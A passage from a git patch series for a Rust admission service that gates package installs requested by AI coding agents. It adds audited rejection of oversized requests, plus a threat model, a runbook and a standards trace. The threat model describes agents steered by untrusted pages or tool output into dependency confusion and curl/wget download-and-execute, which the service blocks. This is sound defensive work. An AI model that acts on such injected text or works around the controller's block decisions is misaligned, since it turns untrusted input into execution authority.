field, or count was invalid. InvalidRequest, /// The structured operation was not the supported install operation. @@ -256,6 +258,7 @@ impl ReasonCode { pub fn as_str(self) -> &'static str { match self { Self::MalformedRequest => "malformed_request", + Self::RequestBodyTooLarge => "request_body_too_large", Self::InvalidRequest => "invalid_request", Self::InvalidOperation => "invalid_operation", Self::InvalidManifestDigest => "invalid_manifest_digest", From 5d191993fb91a5ac833d432f9959c4c6c71682c9 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 1 Sep 2026 13:15:52 +0900 Subject: [PATCH 031/702] feat(audit): record authenticated body-limit rejection --- crates/agent-artifact-admission/src/audit.rs | 30 ++++++++++++++++++-- 1 file changed, 28 insertions(+), 2 deletions(-) diff --git a/crates/agent-artifact-admission/src/audit.rs b/crates/agent-artifact-admission/src/audit.rs index bea1f419..efafde91 100644 --- a/crates/agent-artifact-admission/src/audit.rs +++ b/crates/agent-artifact-admission/src/audit.rs @@ -63,7 +63,7 @@ impl AuditArtifact { pub struct AuditRecord { /// Milliseconds since the Unix epoch when the record was constructed. pub timestamp_unix_ms: u128, - /// Caller-supplied stable request identifier or a malformed-body surrogate. + /// Caller-supplied stable request identifier or a rejection surrogate. pub request_id: String, /// Identity of the requesting agent or broker when available. pub actor_id: String, @@ -87,7 +87,7 @@ pub struct AuditRecord { pub source_content_sha256: Option, /// SHA-256 digest of the structured command vector or malformed body. pub command_sha256: String, - /// SHA-256 digest of a malformed authenticated request body when parsing failed. + /// SHA-256 digest of a malformed authenticated request body when materialized. pub request_body_sha256: Option, /// Reviewed dependency-manifest digest supplied with a parsed request. pub manifest_sha256: Option, @@ -273,6 +273,32 @@ pub fn build_malformed_audit_record( }) } +/// Build minimized evidence when an authenticated body cannot be materialized safely. +pub fn build_unavailable_request_audit_record( + policy: &AdmissionPolicy, + reason: ReasonCode, +) -> Result { + let reason_name = reason.as_str(); + Ok(AuditRecord { + timestamp_unix_ms: unix_timestamp_ms()?, + request_id: format!("unavailable:{reason_name}"), + actor_id: "unavailable".to_string(), + workspace_id: "unavailable".to_string(), + operation: "unavailable".to_string(), + decision: DecisionKind::Block, + reason_codes: vec![reason], + policy_id: auditable_identifier("policy", &policy.policy_id, 256), + policy_revision: auditable_identifier("policy_revision", &policy.policy_revision, 256), + source_kind: None, + normalized_source_uri: None, + source_content_sha256: None, + command_sha256: sha256_hex(reason_name.as_bytes()), + request_body_sha256: None, + manifest_sha256: None, + artifacts: Vec::new(), + }) +} + fn encode_record(record: &AuditRecord) -> Result, AuditError> { let encoded = serde_json::to_vec(record).map_err(|_| AuditError::Serialization)?; if encoded.len() > MAX_AUDIT_LINE_BYTES { From 416fce1adb154d951941a5dc6ea988f24fe463a5 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 1 Sep 2026 13:16:19 +0900 Subject: [PATCH 032/702] refactor(audit): expose request rejection evidence builder --- crates/agent-artifact-admission/src/lib.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index 22a9654d..0e92280c 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -12,7 +12,7 @@ pub use admission::{ }; pub use audit::{ AuditArtifact, AuditError, AuditRecord, AuditSink, FileAuditSink, MemoryAuditSink, - build_audit_record, build_malformed_audit_record, + build_audit_record, build_malformed_audit_record, build_unavailable_request_audit_record, }; pub use config::{ AdmissionServiceConfig, CliArgs, ConfigError, CredentialFile, load_admin_token, load_config, From b97e557cb9d3b0fd3df593c1dc0d38aa62e9f966 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 1 Sep 2026 13:18:26 +0900 Subject: [PATCH 033/702] fix(admission): audit body-limit rejection before response --- crates/agent-artifact-admission/src/http.rs | 42 +++++++++++++++++++-- 1 file changed, 38 insertions(+), 4 deletions(-) diff --git a/crates/agent-artifact-admission/src/http.rs b/crates/agent-artifact-admission/src/http.rs index 635a9219..c30e9b37 100644 --- a/crates/agent-artifact-admission/src/http.rs +++ b/crates/agent-artifact-admission/src/http.rs @@ -7,7 +7,7 @@ use std::sync::Arc; use axum::{ Json, Router, body::Bytes, - extract::{DefaultBodyLimit, State}, + extract::{DefaultBodyLimit, State, rejection::BytesRejection}, http::{HeaderMap, StatusCode}, response::{IntoResponse, Response}, routing::{get, post}, @@ -18,8 +18,8 @@ use tokio::net::TcpListener; use crate::{ AdmissionDecision, AdmissionPolicy, AdmissionServiceConfig, AuditRecord, AuditSink, DecisionKind, FileAuditSink, InstallIntent, ReasonCode, admission_decision, build_audit_record, - build_malformed_audit_record, load_admin_token, load_config, parse_cli_args, sha256_hex, - validate_install_intent, + build_malformed_audit_record, build_unavailable_request_audit_record, load_admin_token, + load_config, parse_cli_args, sha256_hex, validate_install_intent, }; const MAX_ADMIN_TOKEN_BYTES: usize = 4096; @@ -161,12 +161,17 @@ async fn get_policy(State(state): State, headers: HeaderMap) -> async fn create_admission( State(state): State, headers: HeaderMap, - body: Bytes, + body: Result, ) -> Response { if !authenticated(&headers, &state.admin_token) { return unauthorized(); } + let body = match body { + Ok(body) => body, + Err(rejection) => return body_rejection_response(&state, rejection).await, + }; + let intent = match serde_json::from_slice::(&body) { Ok(intent) => intent, Err(_) => return malformed_request_response(&state, &body).await, @@ -186,6 +191,21 @@ async fn create_admission( append_before_response(&state, record, decision, response_status).await } +async fn body_rejection_response(state: &AdmissionState, rejection: BytesRejection) -> Response { + let rejection_status = rejection.into_response().status(); + let (reason, response_status) = if rejection_status == StatusCode::PAYLOAD_TOO_LARGE { + (ReasonCode::RequestBodyTooLarge, StatusCode::PAYLOAD_TOO_LARGE) + } else { + (ReasonCode::MalformedRequest, StatusCode::BAD_REQUEST) + }; + let decision = unavailable_request_decision(&state.policy, reason); + let record = match build_unavailable_request_audit_record(&state.policy, reason) { + Ok(record) => record, + Err(_) => return audit_unavailable_response(&decision), + }; + append_before_response(state, record, decision, response_status).await +} + async fn malformed_request_response(state: &AdmissionState, body: &[u8]) -> Response { let body_digest = sha256_hex(body); let decision = malformed_decision(&state.policy, &body_digest); @@ -223,6 +243,20 @@ fn malformed_decision(policy: &AdmissionPolicy, body_digest: &str) -> AdmissionD } } +fn unavailable_request_decision(policy: &AdmissionPolicy, reason: ReasonCode) -> AdmissionDecision { + let reason_name = reason.as_str(); + AdmissionDecision { + request_id: format!("unavailable:{reason_name}"), + decision: DecisionKind::Block, + reason_codes: vec![reason], + policy_id: policy.policy_id.clone(), + policy_revision: policy.policy_revision.clone(), + normalized_source_uri: None, + command_sha256: sha256_hex(reason_name.as_bytes()), + artifact_count: 0, + } +} + fn audit_unavailable_response(candidate: &AdmissionDecision) -> Response { let blocked = AdmissionDecision { request_id: candidate.request_id.clone(), From a0275e1a19e39a5920089da81cc0e2b4f3303c67 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 1 Sep 2026 13:20:47 +0900 Subject: [PATCH 034/702] test(admission): remove obsolete unaudited body-limit expectation --- .../tests/http_contract.rs | 21 ------------------- 1 file changed, 21 deletions(-) diff --git a/crates/agent-artifact-admission/tests/http_contract.rs b/crates/agent-artifact-admission/tests/http_contract.rs index 603049a1..5075d827 100644 --- a/crates/agent-artifact-admission/tests/http_contract.rs +++ b/crates/agent-artifact-admission/tests/http_contract.rs @@ -302,24 +302,3 @@ async fn audit_outage_converts_candidate_allow_and_block_to_service_unavailable( assert_eq!(decision.reason_codes, vec![ReasonCode::AuditUnavailable]); } } - -#[tokio::test] -async fn configured_body_limit_returns_payload_too_large_without_an_audit_record() { - let sink = Arc::new(MemoryAuditSink::default()); - let app = build_app(state(approved_policy(), sink.clone(), 32)); - - let response = app - .oneshot(admission_request( - vec![b'x'; 128], - Some(HeaderValue::from_static(ADMIN_TOKEN)), - )) - .await - .expect("router must answer"); - - assert_eq!(response.status(), StatusCode::PAYLOAD_TOO_LARGE); - assert!( - sink.records() - .expect("audit snapshot must succeed") - .is_empty() - ); -} From ac991b999d4211ba383ec6692f53a8cb4ea2b356 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 1 Sep 2026 13:22:18 +0900 Subject: [PATCH 035/702] docs(api): document audited body-limit rejection --- docs/openapi/agent-artifact-admission.openapi.yaml | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/docs/openapi/agent-artifact-admission.openapi.yaml b/docs/openapi/agent-artifact-admission.openapi.yaml index 435ae078..4fb83b2e 100644 --- a/docs/openapi/agent-artifact-admission.openapi.yaml +++ b/docs/openapi/agent-artifact-admission.openapi.yaml @@ -42,8 +42,10 @@ paths: description: >- Returns a durable allow/block decision. A policy block is HTTP 200 because the domain decision completed successfully. Structurally invalid authenticated - JSON is audited and returned as HTTP 400. An allow is not returned until the - audit record has been durably appended. Audit failure returns HTTP 503 and a + JSON is audited and returned as HTTP 400. An authenticated body that exceeds + the configured materialization limit is audited with a content-unavailable + surrogate and returned as HTTP 413. An allow is not returned until the audit + record has been durably appended. Audit failure returns HTTP 503 and a fail-closed block decision. security: - AdminToken: [] @@ -69,11 +71,11 @@ paths: '401': $ref: '#/components/responses/Unauthorized' '413': - description: Request body exceeded the configured Axum body limit before a complete admission intent could be materialized. + description: Authenticated request body exceeded the configured limit; a minimized rejection audit was durably appended before this response. content: - text/plain: + application/json: schema: - type: string + $ref: '#/components/schemas/AdmissionDecision' '503': description: Audit durability was unavailable; execution must not proceed. content: @@ -288,6 +290,7 @@ components: type: string enum: - malformed_request + - request_body_too_large - invalid_request - invalid_operation - invalid_manifest_digest From 225ff0c14d819b150db54fa9aa62dc6587238613 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 1 Sep 2026 13:28:32 +0900 Subject: [PATCH 036/702] docs(security): model agent artifact admission threats --- .../agent-artifact-admission-threat-model.md | 65 +++++++++++++++++++ 1 file changed, 65 insertions(+) create mode 100644 docs/security/agent-artifact-admission-threat-model.md diff --git a/docs/security/agent-artifact-admission-threat-model.md b/docs/security/agent-artifact-admission-threat-model.md new file mode 100644 index 00000000..d6bb31d8 --- /dev/null +++ b/docs/security/agent-artifact-admission-threat-model.md @@ -0,0 +1,65 @@ +# Agent Artifact Admission threat model + +This document is scoped to the **Agent Artifact Admission** bounded context recorded in ADR-0012. It does not replace Wardnet's gateway threat model. The admission controller decides whether a structured package-install intent is admissible; it never installs a package or executes a command. + +## Protected assets and authority + +The protected assets are the reviewed admission policy, approved workspace-manifest digests, approved artifact coordinates and digests, the administrator credential, the minimized audit trail, and the integrity of each allow/block receipt. + +Authority is deliberately narrow. Untrusted web pages, `llms.txt`, retrieved documents, issue comments, model output, tool output, package metadata, and an artifact's mere presence in a registry are evidence inputs only. None can grant execution authority. The reviewed `AdmissionPolicy` is the local authority for v0.1. Registry identity, signing identity, transparency-log inclusion, TUF metadata, and SLSA provenance remain external authorities and must enter through explicit adapters or an Anti-Corruption Layer rather than becoming domain entities. + +## Trust boundaries + +1. An execution broker or AI coding agent submits an authenticated HTTP request to the loopback-only service. +2. The HTTP delivery adapter authenticates the request and deserializes a bounded `InstallIntent`. +3. The domain kernel validates provenance, command shape, workspace manifest, exact artifact coordinates, registry, owner and SHA-256 evidence against the immutable policy. +4. The application path builds a minimized audit fact and must durably append it before any admission response is returned. +5. A downstream execution broker may act on an `allow` receipt. Wardnet itself still does not execute the command. + +The credential file, policy/configuration file and audit file are local deployment dependencies. A future remote deployment must remain behind authenticated TLS/mTLS or an equivalent identity-aware proxy; v0.1 binds only to loopback. + +## Threats and required behavior + +| Threat | Failure mode | Required control | Failure response | +| --- | --- | --- | --- | +| Prompt-to-code dependency confusion | Untrusted text names an attacker-controlled or newly claimed package | Exact reviewed ecosystem/name/version/registry/owner/digest match; source text has no authority | `decision=block` | +| Unpinned or mutable dependency | Version range, missing digest or changed artifact is admitted | Exact version and SHA-256 are mandatory | `decision=block` | +| Registry substitution | Look-alike or alternate registry serves a package with the same name | Exact HTTPS registry identity is part of the approved artifact coordinate | `decision=block` | +| Direct download-and-execute | Agent bypasses package policy using curl/wget/shell/runtime evaluation | Structured `argv`; shells, direct downloaders, package executors and runtime inline evaluation remain blocked by invariant | `decision=block` | +| Malformed or missing provenance | Remote instruction source lacks HTTPS or content digest | Strict source-kind validation and SHA-256 requirement | `400` with audited block receipt | +| Authentication bypass | Caller omits, duplicates or manipulates the admin token | One bounded visible-ASCII token from the credentials file; constant-time comparison; no environment-variable secret path | `401` | +| Oversized request | Memory/CPU pressure or parser bypass using excessive body size | Axum body limit plus bounded configuration | `413`, and the rejection must be audited before response | +| Audit suppression | Allow response is returned without durable evidence | Audit append is ordered before response | `503`, `decision=block`, reason `audit_unavailable` | +| Audit data exfiltration | Raw command text, token or unbounded source material leaks to logs | Audit only normalized source URI, command hash, artifact coordinates, decision and reason codes | Fail closed if a valid minimized audit record cannot be built | +| Policy/provider schema coupling | Sigstore/TUF/SLSA DTO changes alter domain semantics implicitly | Translate provider evidence at explicit adapters/ACLs; domain depends only on stable admission concepts | Reject unsupported evidence until an accepted adapter exists | +| Cross-context authority leakage | Main gateway, SIEM exporter or orchestrator mutates admission policy by reaching into internals | Published API/package contract only; no foreign application-table access; no provider SDK in domain modules | Integration rejected by architecture fitness gate | +| Confused transport vs policy denial | Downstream treats a policy block as network failure and retries/works around it | Valid policy denials are successful admission responses with `decision=block`; transport/config/audit failures use HTTP errors | Stable receipt semantics | + +## Abuse cases + +A document can legitimately mention `npm install`, a package name, a CVE, or a URL. Those strings are not executable instructions at this boundary. An agent must first construct a structured intent, and the intent must independently satisfy policy. A package with valid Sigstore/SLSA evidence is still not locally authorized unless the reviewed policy allows its exact coordinates. Conversely, an approved coordinate without the required digest or provenance remains blocked. + +The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, or transform a blocked command into an allowed one. Any such behavior would convert untrusted input into authority. + +## Operational security invariants + +- `0.0.0.0`, `::`, non-loopback addresses and port `0` are invalid service configuration for v0.1. +- The administrator token is loaded from the configured credentials file. It is never returned in health, error or audit payloads. +- The deny-all example configuration is safe to start without granting package authority. +- Audit records are append-only from this process's point of view. Corruption, write failure or task failure cannot be converted into an allow response. +- Policy is immutable for the lifetime of the v0.1 process. Runtime mutation requires a future explicit policy-lifecycle aggregate and authorization contract; it must not be smuggled into the current HTTP adapter. +- Domain modules remain independent of Axum, Tokio, filesystem paths, provider SDKs and concrete storage adapters. `ddd_architecture_contract.rs` is the executable fitness gate. + +## Residual risk and future adapters + +SHA-256 equality proves byte identity, not publisher trust. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The controller also does not sandbox an allowed installer; the execution broker remains responsible for process isolation, filesystem/network capability limits, least privilege and post-install verification. + +## Primary references + +- National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) Version 1.1: Recommendations for Mitigating the Risk of Software Vulnerabilities (NIST SP 800-218).* https://doi.org/10.6028/NIST.SP.800-218 +- Booth, H., Souppaya, M., Vassilev, A., Ogata, M., Stanley, M., & Scarfone, K. (2024). *Secure Software Development Practices for Generative AI and Dual-Use Foundation Models: An SSDF Community Profile (NIST SP 800-218A).* National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-218A +- SLSA Community. (2025). *SLSA specification, version 1.2.* https://slsa.dev/spec/v1.2/ +- The Update Framework. (2026). *Specification, version 1.0.33.* https://theupdateframework.io/spec/ +- Sigstore. (2026). *Sigstore documentation: Overview and security model.* https://docs.sigstore.dev/ ; https://docs.sigstore.dev/about/security/ + +NIST SP 800-218 Rev. 1 / SSDF 1.2 is still a draft as of this document's 2026-09-01 verification and is tracked as informative rather than binding: https://csrc.nist.gov/Projects/ssdf/publications From af30a71a1639574ed508cd548a6f894d8038afa5 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 1 Sep 2026 13:29:06 +0900 Subject: [PATCH 037/702] docs(ops): add artifact admission runbook --- docs/runbooks/agent-artifact-admission.md | 138 ++++++++++++++++++++++ 1 file changed, 138 insertions(+) create mode 100644 docs/runbooks/agent-artifact-admission.md diff --git a/docs/runbooks/agent-artifact-admission.md b/docs/runbooks/agent-artifact-admission.md new file mode 100644 index 00000000..64088023 --- /dev/null +++ b/docs/runbooks/agent-artifact-admission.md @@ -0,0 +1,138 @@ +# Agent Artifact Admission operations runbook + +This runbook applies only to the `wardnet-agent-artifact-admission` bounded context. It is a pre-execution admission service; it does not install packages or execute commands. + +## Safe deployment profile + +The v0.1 service is intentionally loopback-only. Do not bind it directly to a LAN or Internet address. If another host must call it, keep Wardnet on loopback and place an authenticated TLS/mTLS or equivalent identity-aware proxy on the same host. + +Create three local files with restrictive filesystem permissions: + +1. the reviewed admission policy/configuration; +2. the credential file containing the administrator token; +3. an appendable audit destination owned by the service account. + +Start from the committed deny-all example. A deny-all policy is an operationally safe initial state because it proves connectivity, authentication and audit durability without granting package authority. + +Example process launch: + +```bash +cargo run --locked --bin wardnet-agent-artifact-admission -- \ + --config ./agent-artifact-admission.json \ + --credentials ./agent-artifact-admission.credentials.json +``` + +The process must fail startup when configuration is malformed, the bind is non-loopback, the port is zero, credentials cannot be loaded, or required policy invariants are invalid. + +## Health and authentication + +`GET /healthz` is the non-secret process probe. It may report policy identifiers and bounded counts, but must not return the administrator token, policy secrets, request bodies or audit-path details. + +`GET /v1/policy` and `POST /v1/admissions` require exactly one `X-Admin-Token` header. Missing, duplicate, malformed or incorrect credentials return `401` and must never disclose the configured token or a masked fragment of it. + +Example probe: + +```bash +curl -fsS http://127.0.0.1:8091/healthz +``` + +Authenticated policy inspection: + +```bash +curl -fsS \ + -H "X-Admin-Token: ${WARDNET_ADMISSION_ADMIN_TOKEN:?}" \ + http://127.0.0.1:8091/v1/policy +``` + +The environment variable in this shell example is only a client-side convenience. The Wardnet service itself loads its administrator token from the configured credentials file, not from a runtime secret environment variable. + +## Admission behavior + +A valid request is a structured JSON `InstallIntent`. Never send a shell command string. Policy denials are normal application decisions and return a successful admission response whose body contains `decision=block`; a caller must not reinterpret that as a transport failure or search for a workaround. + +Malformed structural input returns `400` after the minimized rejection fact has been appended to the audit log. A request above the configured body limit returns `413`, also only after its rejection has been durably audited. Authentication failures return `401` and intentionally do not process an admission decision. + +An allow response is valid only after its audit record has been appended. If audit append, audit-record construction or the blocking audit task fails, Wardnet returns `503` with a block decision and the stable `audit_unavailable` reason. Operators must treat any `503` as fail-closed; never retry by bypassing Wardnet. + +## Policy rollout + +Treat the reviewed policy as immutable deployment configuration in v0.1. + +1. Build the candidate policy from independently reviewed package evidence, not from agent-generated text. +2. Pin exact ecosystem, package name, version, registry, owner, SHA-256 and approved workspace-manifest digest. +3. Validate external provenance with its owning system where used. A registry string or package name alone is not publisher proof. +4. Run contract tests and a representative set of blocked and allowed intents before deployment. +5. Replace the configuration atomically according to the host deployment mechanism. +6. Restart the service and verify `/healthz` policy identifiers before the execution broker resumes admissions. +7. Retain the previous reviewed policy for rollback. + +Do not add a runtime policy mutation endpoint as an operational shortcut. That would introduce a new policy-lifecycle aggregate, authorization model and audit contract and therefore requires an explicit architecture change. + +## Audit operations + +The audit file contains minimized decision facts only. It must not contain raw administrator tokens or raw command text. + +Operational expectations: + +- place the file on durable storage appropriate to the deployment; +- restrict read/write access to the Wardnet service account and approved security operators; +- ship or rotate it only through a process that preserves append ordering and provenance; +- monitor filesystem capacity and write failures; +- alert when `audit_unavailable` responses occur; +- do not truncate or rewrite evidence in place as a normal recovery action. + +If the audit destination is unavailable, restore audit durability first. The correct degraded mode is blocked admissions, not unlogged allows. + +## Incident response + +### Unexpected allow + +1. Stop the downstream execution broker from acting on new allow receipts. +2. Preserve the policy file, credential-file metadata, service binary identity and relevant audit records. +3. Identify the exact request ID, policy ID/revision, command digest and artifact coordinates from the receipt/audit fact. +4. Reproduce the decision with the same structured intent against the same policy revision. +5. Determine whether the defect is policy evidence, domain evaluation, adapter translation or downstream execution behavior. +6. Fix the owning boundary test-first. Do not add a one-off string denylist in the HTTP adapter if the invariant belongs to the domain policy. + +### Audit unavailable + +1. Confirm the service is returning `503`/`audit_unavailable`; this is the expected safe state. +2. Check ownership, permissions, filesystem capacity, path availability and host I/O errors without exposing audit content broadly. +3. Restore the append path and restart only if required by the host environment. +4. Submit a known blocked intent and confirm a new minimized record is appended before re-enabling the execution broker. + +### Credential exposure + +1. Stop callers that use the exposed credential. +2. Replace the credential file through the host secret-management process and restart the service. +3. Verify the old token is rejected and the new token succeeds. +4. Review access logs outside Wardnet for the exposure window; Wardnet's own admission audit intentionally does not record raw credentials. + +### Suspected policy tampering + +1. Freeze execution downstream. +2. Compare the deployed policy and workspace-manifest SHA-256 values with the reviewed source-of-truth revision. +3. Revert to the last reviewed policy if provenance cannot be established. +4. Treat the event as a supply-chain incident; a valid-looking package registry entry is not sufficient proof of legitimacy. + +## Rollback + +Rollback is configuration plus process rollback, not audit rollback. Restore the previous reviewed policy/configuration and, if necessary, the previous verified service artifact. Keep the audit trail intact. Verify health, authentication, a known-denied intent and one approved test fixture before allowing the execution broker to resume. + +## Release acceptance + +Before promoting a Wardnet build containing this context, require on the unchanged exact head: + +- `cargo fmt --check`; +- locked workspace tests, including HTTP authentication, audit ordering/failure, provenance and DDD architecture contracts; +- strict Clippy with warnings denied; +- repository fuzz/property invariants where configured; +- SAST/security/SBOM/provenance gates required by live GitHub policy; +- zero valid unresolved review findings; +- the independent approval required by the live ruleset. + +Queued, pending, skipped-required, cancelled, absent, stale or predecessor-head evidence is not release evidence. + +## Ownership and escalation + +Agent Artifact Admission owns the install-intent policy and minimized admission receipt. Execution brokers own process sandboxing and the actual install/execute step. Sigstore, TUF and SLSA remain external evidence authorities. Central CWL `.github` owns organization-wide workflow/review controls. A failure in one of those owners must be repaired at that owner boundary rather than duplicated inside this crate. From ee495f4e90037c3255fc7ec2f8278f1147a485a7 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 1 Sep 2026 13:29:39 +0900 Subject: [PATCH 038/702] docs(research): trace artifact admission standards --- docs/doctoring/agent-artifact-admission.md | 56 ++++++++++++++++++++++ 1 file changed, 56 insertions(+) create mode 100644 docs/doctoring/agent-artifact-admission.md diff --git a/docs/doctoring/agent-artifact-admission.md b/docs/doctoring/agent-artifact-admission.md new file mode 100644 index 00000000..184b9086 --- /dev/null +++ b/docs/doctoring/agent-artifact-admission.md @@ -0,0 +1,56 @@ +# Agent Artifact Admission research and standards traceability + +Verified 2026-09-01. This note records the primary sources that justify the admission controller's trust boundary. It does not claim certification or conformance beyond the tests and controls present in Wardnet. + +## Decision trace + +| Wardnet control | External basis | Local evidence | +| --- | --- | --- | +| Treat model/web/tool text as untrusted input, not execution authority | NIST SP 800-218A extends SSDF practices to generative-AI systems and their development lifecycle | Issue #128 threat model; `InstallIntent` must independently satisfy policy | +| Require reviewed, exact artifact identity and digest | NIST SSDF 1.1 emphasizes protecting software and verifying integrity; SLSA 1.2 formalizes provenance/verified properties | `ApprovedArtifact`, exact version/registry/owner/SHA-256 matching | +| Keep provenance provider schemas outside the domain model | SLSA, Sigstore and TUF have independent schemas, trust roots and lifecycle rules | ADR-0012 and DDD architecture fitness test require adapters/ACLs | +| Bind an allow decision to immutable reviewed policy | TUF's signed metadata model and SLSA source/build provenance both separate producer evidence from consumer verification policy | immutable v0.1 `AdmissionPolicy`; deny-all default | +| Do not infer publisher trust from registry presence | Sigstore verifies signing identity, certificate trust and Rekor inclusion; registry naming alone is not that evidence | exact reviewed owner is a local policy assertion, not an inferred identity | +| Audit before returning allow; fail closed on audit outage | SSDF supply-chain controls require protected evidence and traceable release/security practices; append-before-response prevents an unaudited authorization gap | `append_before_response`; `audit_unavailable` => block/503 | +| Structured argv; no shell command strings or runtime evaluation | SSDF least-functionality and secure-development principles; removes a command-injection interpretation layer | command-shape invariants in `policy.rs` | +| Loopback-only v0.1 | minimizes exposed trust boundary until authenticated transport is owned by a separate deployment layer | `validate_service_config` and service bind validation | + +## Current status of referenced standards + +### NIST SSDF + +NIST SP 800-218, *Secure Software Development Framework (SSDF) Version 1.1*, remains the current final base SSDF publication. NIST SP 800-218 Rev. 1 / SSDF 1.2 was released as a draft on 2025-12-17 and is still listed by NIST as Draft as of this verification. Wardnet therefore treats 1.1 as binding guidance and 1.2 as informative until finalized. + +NIST SP 800-218A, *Secure Software Development Practices for Generative AI and Dual-Use Foundation Models: An SSDF Community Profile*, is final (July 2024) and augments SSDF 1.1 for producers and acquirers of AI systems. It is relevant here because the threat originates when an AI-assisted development system converts untrusted information into software-development actions. + +### SLSA + +SLSA version 1.2 is the current Approved specification. It includes Source and Build tracks and recommended attestation formats. Wardnet does not claim a SLSA level merely because it checks digests; instead it can consume verified provenance properties through a future adapter and apply local admission policy to those properties. + +### The Update Framework + +The TUF specification page lists v1.0.33 as latest at verification time. TUF's metadata and role model are external trust evidence. A future TUF integration belongs in an adapter that translates verified target metadata into the minimum facts needed by the admission policy. + +### Sigstore + +Sigstore's verification flow validates an artifact signature, the signing identity bound into the certificate, the certificate chain/trust root, and Rekor transparency-log evidence. That makes it suitable as a future external publisher/integrity authority. Wardnet must not reduce those semantics to a registry-owner string or silently copy Sigstore DTOs into the domain kernel. + +## APA 7 references + +Booth, H., Souppaya, M., Vassilev, A., Ogata, M., Stanley, M., & Scarfone, K. (2024). *Secure software development practices for generative AI and dual-use foundation models: An SSDF community profile (NIST SP 800-218A).* National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-218A + +National Institute of Standards and Technology. (2022). *Secure software development framework (SSDF) version 1.1: Recommendations for mitigating the risk of software vulnerabilities (NIST SP 800-218).* https://doi.org/10.6028/NIST.SP.800-218 + +SLSA Community. (2025). *SLSA specification: Version 1.2.* https://slsa.dev/spec/v1.2/ + +Sigstore. (2026). *Overview.* https://docs.sigstore.dev/ + +Sigstore. (2026). *Security model.* https://docs.sigstore.dev/about/security/ + +The Update Framework. (2026). *Specification.* https://theupdateframework.io/spec/ + +National Institute of Standards and Technology. (2026). *Secure Software Development Framework: Publications.* https://csrc.nist.gov/Projects/ssdf/publications + +## Evidence limitations + +Exact SHA-256 equality detects byte changes but does not establish publisher identity, build integrity or source review. An allow receipt is consequently a Wardnet policy decision, not a general authenticity certificate. Remote attestation, transparency-log verification and metadata freshness/rollback protection remain future adapter responsibilities and must fail closed when introduced. From e54e88612270ff7505e7d7eac8c00c533a37df6d Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 1 Sep 2026 19:08:32 +0900 Subject: [PATCH 039/702] style(admission): apply rustfmt to HTTP boundary --- crates/agent-artifact-admission/src/http.rs | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/http.rs b/crates/agent-artifact-admission/src/http.rs index c30e9b37..185575b9 100644 --- a/crates/agent-artifact-admission/src/http.rs +++ b/crates/agent-artifact-admission/src/http.rs @@ -194,7 +194,10 @@ async fn create_admission( async fn body_rejection_response(state: &AdmissionState, rejection: BytesRejection) -> Response { let rejection_status = rejection.into_response().status(); let (reason, response_status) = if rejection_status == StatusCode::PAYLOAD_TOO_LARGE { - (ReasonCode::RequestBodyTooLarge, StatusCode::PAYLOAD_TOO_LARGE) + ( + ReasonCode::RequestBodyTooLarge, + StatusCode::PAYLOAD_TOO_LARGE, + ) } else { (ReasonCode::MalformedRequest, StatusCode::BAD_REQUEST) }; From ba0082f596b7ee21eabc8d20d773586d321e2390 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 1 Sep 2026 19:08:51 +0900 Subject: [PATCH 040/702] style(admission): format DDD fitness test --- .../tests/ddd_architecture_contract.rs | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs b/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs index e103fdf0..7a568fc9 100644 --- a/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs +++ b/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs @@ -54,7 +54,12 @@ fn bounded_context_does_not_gain_ambiguous_dumping_modules() { #[test] fn domain_policy_remains_independent_of_http_and_audit_adapters() { let policy = include_str!("../src/policy.rs"); - for adapter in ["crate::http", "crate::config", "FileAuditSink", "MemoryAuditSink"] { + for adapter in [ + "crate::http", + "crate::config", + "FileAuditSink", + "MemoryAuditSink", + ] { assert!( !policy.contains(adapter), "policy.rs must not depend on adapter concern `{adapter}`" From 3a23772b3ae56097d0e9d78333a1ceeaeb21a104 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 1 Sep 2026 19:09:19 +0900 Subject: [PATCH 041/702] style(admission): format oversized-request contract --- .../tests/oversized_request_audit_contract.rs | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/crates/agent-artifact-admission/tests/oversized_request_audit_contract.rs b/crates/agent-artifact-admission/tests/oversized_request_audit_contract.rs index 7345d064..553728c2 100644 --- a/crates/agent-artifact-admission/tests/oversized_request_audit_contract.rs +++ b/crates/agent-artifact-admission/tests/oversized_request_audit_contract.rs @@ -46,10 +46,7 @@ async fn oversized_authenticated_request_is_audited_before_payload_too_large_res let decision: AdmissionDecision = serde_json::from_slice(&bytes).expect("oversized response must be a decision receipt"); assert_eq!(decision.decision, DecisionKind::Block); - assert_eq!( - decision.reason_codes, - vec![ReasonCode::RequestBodyTooLarge] - ); + assert_eq!(decision.reason_codes, vec![ReasonCode::RequestBodyTooLarge]); let records = sink.records().expect("audit snapshot must succeed"); assert_eq!(records.len(), 1); From e0a4ea0fc6aba5ebb6045b0ec56d86cc05ef44dd Mon Sep 17 00:00:00 